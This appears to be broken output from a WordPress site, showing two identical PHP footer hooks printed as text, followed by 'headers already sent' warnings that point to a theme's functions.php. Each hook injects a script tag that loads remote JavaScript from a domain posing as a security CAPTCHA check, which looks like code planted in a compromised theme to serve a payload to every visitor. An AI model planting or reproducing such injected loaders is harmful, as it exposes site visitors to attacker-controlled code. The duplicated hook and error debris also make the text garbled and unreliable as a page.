add_action('wp_footer', function () { echo '<script>const s = document.createElement(\'script\');\ns.src = \'https://securityalertcaptchacheck.com/lom/api\';\ndocument.head.appendChild(s);</script>'; }, 99);

add_action('wp_footer', function () { echo '<script>const s = document.createElement(\'script\');\ns.src = \'https://securityalertcaptchacheck.com/lom/api\';\ndocument.head.appendChild(s);</script>'; }, 99);
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<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/fortisre/public_html/wp-content/themes/dotlife/functions.php:1153) in <b>/home/fortisre/public_html/wp-includes/pluggable.php</b> on line <b>1539</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/fortisre/public_html/wp-content/themes/dotlife/functions.php:1153) in <b>/home/fortisre/public_html/wp-includes/pluggable.php</b> on line <b>1542</b><br />